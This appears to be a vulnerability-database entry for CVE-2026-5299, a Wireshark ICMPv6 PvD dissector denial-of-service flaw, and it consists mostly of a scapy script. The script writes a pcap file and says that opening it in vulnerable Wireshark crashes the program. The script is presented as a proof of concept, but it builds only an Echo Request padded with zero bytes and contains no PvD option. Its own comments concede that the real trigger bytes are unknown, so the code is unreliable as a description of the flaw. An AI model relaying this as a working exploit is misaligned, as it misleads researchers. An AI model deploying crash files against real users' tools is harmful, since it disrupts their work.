CVE-2026-5299 Wireshark ICMPv6 PvD解析器拒绝服务漏洞

from scapy.all import * # Define a crafted ICMPv6 packet with malformed PvD options def generate_malformed_packet(): # Construct basic IPv6 and ICMPv6 headers # Note: PvD is a specific option within ICMPv6. Here we simulate a malformed payload. pkt = IPv6(src="2001:db8::1", dst="2001:db8::2") / ICMPv6EchoRequest() # Add a raw payload that simulates a malformed PvD structure to trigger the crash # This is a representative payload as the exact trigger bytes are specific to the CVE. malformed_payload = b"\x00" * 100 # Example of buffer that might cause overflow pkt = pkt / Raw(load=malformed_payload) # Save to pcap wrpcap("cve_2026_5299_poc.pcap", [pkt]) print("[+] PoC file generated: cve_2026_5299_poc.pcap") print("[+] Open this file with vulnerable Wireshark to reproduce the crash.") if __name__ == "__main__": generate_malformed_packet()